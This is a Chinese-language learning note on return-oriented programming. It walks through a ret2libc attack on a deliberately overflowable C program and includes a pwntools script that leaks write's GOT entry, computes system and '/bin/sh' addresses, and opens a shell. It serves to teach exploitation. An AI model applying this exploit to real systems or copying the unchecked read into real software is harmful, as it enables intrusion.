菜鸡刚学rop,总结下。
笔记中的程序源代码来自 蒸米大佬的x86一步一步学rop http://www.vuln.cn/6645
计算溢出点的位置的脚本可以在大佬的github上下载(其实从IDA上也可以计算出来溢出点)
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
预备知识:
了解动态链接中PLT表和GOT表以及延迟绑定技术。
ASLR的开启无法通过checksec来检测,他的开启与系统有关。
ASLR只针对动态库基址的中间位数进行随机化,后三位并不会变。
ASLR不会随机化本身程序的基址。
在不开启PIE的情况下,可以使用ret2libc来绕过NX和ASLR保护。
下面是通用的利用思路:
这个思路是通解的思路,即不知道目标程序使用的动态库的版本。
- 同一个模块内,代码段和数据段之间的距离确定,不受随机化影响
- 同一动态库内,每个函数在动态库内部的偏移量是确定的
- 只要泄露出动态库中某个函数的地址,就可以知道该函数在动态库中的偏移。
- 不同动态库中相同函数的偏移量是不同的,那就可以通过这个泄露的偏移量确定该程序使用的动态库的版本。
- 计算出动态库的基址:
动态库的基址=泄露的函数的地址 - 该函数在动态库中的偏移量 - 计算出system函数的地址:
system函数的地址= 动态库的基址 + system函数在动态库中的偏移量 - 找到 /bin/sh 这个字符串的所在位置,一般动态库里有这个字符串
如果没有这个字符串就使用能写入的函数,将这个字符串读写到可写入的区域,这就需要构造ROP链,pop pop pop ret 。
这个样例是已知动态库的版本
样例的源代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
编译时关闭canary和PIE防护,打开了ASLR和NX保护。
此时动态库的基址是会发生变化的:
本题的利用思路就是用write函数,打印出write函数对应的got表里的内容。
(当然,不一定非要打印write函数的地址,只要打印got表中存在的函数的地址就可以计算出libc的基址)
虽然write函数的地址并不是固定的,但是程序本身使用过这个函数,所以PLT表里一定有这个函数,PLT表又属于本身程序的代码段,在没有开启PIE的情况下,write函数对应的PLT表项的地址是确定的。
同理GOT表项的地址也是不变的。GOT的地址不会变,变的只是GOT表项的内容。
则可以将返回地址覆盖为write函数对应的PLT表的地址,参数布置为,1,write函数对应的got表项的地址,4。
再将write函数的返回地址布置为vulnerable_function 这个函数的地址,执行完write函数后,返回到vulnerable_function函数,进行二次溢出,获得shell。
其中1是标准输出(即从终端显示输出结果),4是输出的长度。
其中write函数对应的PLT表项的地址可以在IDA中找到:
其对应的GOT表项地址也可以在IDA中找到:
覆盖前堆栈图如下:
覆盖后堆栈的情况如下:
打印出write 的地址后,计算出system函数的地址,然后利用二次栈溢出,覆盖返回地址为system函数地址,布置参数为/bin/sh 字符串的首地址。
/bin/sh 这个字符串也可以在libc中找到。
脚本没有用蒸米大佬的,蒸米大佬的使用ELF模块来直接获取write函数对应的PLT和GOT表项的地址,想看蒸米大佬的利用脚本,链接在笔记开始给了。我这里使用了最原始的方法。
利用脚本如下:
from pwn import*
libc=ELF("libc.so.6")
a=process("./a.out")
plt_write=p32(0x08048320)
vuln_addr=p32(0x08048456)
got_write=p32(0x0804A014)
payload='A'*140+plt_write+vuln_addr+p32(1)+got_write+p32(4)
a.send(payload)
write_addr=u32(a.recv(4))
libc_base=write_addr-libc.symbols["write"]
system_addr=libc_base+libc.symbols["system"]
binbash_addr=libc_base+next(libc.search("/bin/sh"))
payload='A'*140+p32(system_addr)+p32(1)+p32(binbash_addr)
a.send(payload)
a.interactive()
运行即可得到shell